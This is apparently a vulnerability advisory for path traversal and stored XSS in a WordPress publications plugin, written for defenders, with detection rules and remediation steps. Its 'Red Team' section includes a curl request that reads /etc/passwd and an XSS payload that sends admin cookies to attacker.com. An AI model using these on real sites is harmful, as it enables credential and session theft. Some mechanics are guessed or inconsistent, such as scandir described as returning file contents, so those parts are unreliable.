CVE-2020-37245

Executive Summary

CVE-2020-37245 is a critical vulnerability in the Supsystic Digital Publications WordPress plugin, version 1.6.9. The plugin suffers from a path traversal vulnerability in the Folder input field, allowing attackers to read arbitrary files outside the web root by injecting directory traversal sequences (e.g., ../../). Additionally, the plugin fails to sanitize user input in publication settings, enabling stored cross-site scripting (XSS) attacks via parameters like Area Width and Publication Width. This XSS executes when publications are viewed or edited, potentially compromising administrator sessions.

As a WordPress plugin vulnerability, this issue directly impacts the WordPress ecosystem. The path traversal can lead to disclosure of sensitive configuration files (e.g., wp-config.php), while the XSS can be used to hijack admin sessions or inject malicious scripts into the admin dashboard.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from any source are at risk. No official patch has been released, making this a supply chain risk for any site using the plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The high confidentiality impact stems from the path traversal allowing access to sensitive files like wp-config.php, database credentials, and other server files. The XSS component (not reflected in the CVSS) adds integrity and availability risks, potentially allowing attackers to modify site content or execute admin-level actions.

Deep Dive & Mechanics

The vulnerability exists in the Supsystic Digital Publications plugin's folder input field. The plugin uses a file browser to select publication directories but fails to validate or sanitize the path. An attacker can inject ../ sequences to traverse directories and read arbitrary files.

Path Traversal:

• The vulnerable parameter is likely folder or similar in the plugin's AJAX handler.
• Example request: POST /wp-admin/admin-ajax.php?action=digital_publications_get_files&folder=../../../etc/passwd
• The plugin returns the contents of the requested file without proper validation.

Stored XSS:

• The plugin stores user-supplied values for publication settings (e.g., Area Width, Publication Width) without sanitization.
• When an admin views or edits a publication, the malicious script executes in the admin's browser.
• Example: Setting Area Width to <script>alert('XSS')</script>.

Vulnerable vs. Patched Code

Vulnerable Code (1.6.9):

// Path traversal vulnerability
$folder = $_POST['folder'];
$files = scandir($folder); // No sanitization
foreach ($files as $file) {
    // Process files
}

// Stored XSS vulnerability
$area_width = $_POST['area_width'];
update_option('digital_publications_area_width', $area_width); // No sanitization

Patched Code (Hypothetical):

// Path traversal fix
$folder = realpath($_POST['folder']);
$allowed_base = realpath(ABSPATH . 'wp-content/uploads/digital-publications/');
if (strpos($folder, $allowed_base) !== 0) {
    die('Invalid path');
}
$files = scandir($folder);

// Stored XSS fix
$area_width = sanitize_text_field($_POST['area_width']);
update_option('digital_publications_area_width', $area_width);

Exploitation & Lab Setup

Red Team

Path Traversal Exploit:

curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
  -d "action=digital_publications_get_files&folder=../../../etc/passwd"

Stored XSS Exploit:

<!-- Inject via publication settings -->
POST /wp-admin/admin.php?page=digital-publications-settings
Content-Type: application/x-www-form-urlencoded

area_width=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor for directory traversal patterns in AJAX requests (e.g., ../, ..\\).
• Look for unexpected file reads from /etc/passwd, wp-config.php, etc.
• Check for script tags in plugin settings fields.

Honeypot:

• Create a fake wp-config.php with a unique string to detect unauthorized access.
• Monitor logs for requests to admin-ajax.php with action=digital_publications_get_files.

Indicators of Compromise (IOCs)

File Paths:

• /etc/passwd
• /wp-config.php
• /etc/shadow

Network Indicators:

• POST requests to /wp-admin/admin-ajax.php with action=digital_publications_get_files
• GET/POST requests containing folder=../ or folder=..\\

Log Entries:

• "digital_publications_get_files" in access logs
• "folder" parameter with directory traversal sequences

Stored XSS Indicators:

• Script tags in wp_options table under digital_publications_area_width or similar keys
• Unexpected JavaScript execution in admin dashboard

Detection Engineering

YARA Rule

rule CVE_2020_37245_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Supsystic Digital Publications plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2020-37245"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $action = "digital_publications_get_files"
        $folder_param = "folder="
    condition:
        $action and ($folder_param and ($traversal1 or $traversal2))
}

Sigma Rule

title: CVE-2020-37245 Path Traversal in Supsystic Digital Publications
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against the Supsystic Digital Publications WordPress plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=digital_publications_get_files'
        cs-uri-query|contains|all:
            - 'folder='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-37245 Path Traversal in Supsystic Digital Publications"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=digital_publications_get_files"; http_client_body; content:"folder="; http_client_body; pcre:"/folder=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Supsystic Digital Publications plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block directory traversal patterns in folder parameters.
3. Restrict file access using server-level controls (e.g., disable scandir for web users).

Long-term Fix:

• The vendor must release a patched version that:
  • Validates and sanitizes the folder parameter using realpath() and path prefix checks.
  • Sanitizes all user inputs in publication settings using sanitize_text_field() or esc_html().
  • Implements nonce verification for AJAX actions.

Workaround:

• Add the following to .htaccess to block path traversal:

RewriteCond %{QUERY_STRING} (folder=.*\.\./) [NC]
RewriteRule .* - [F,L]

Valters IT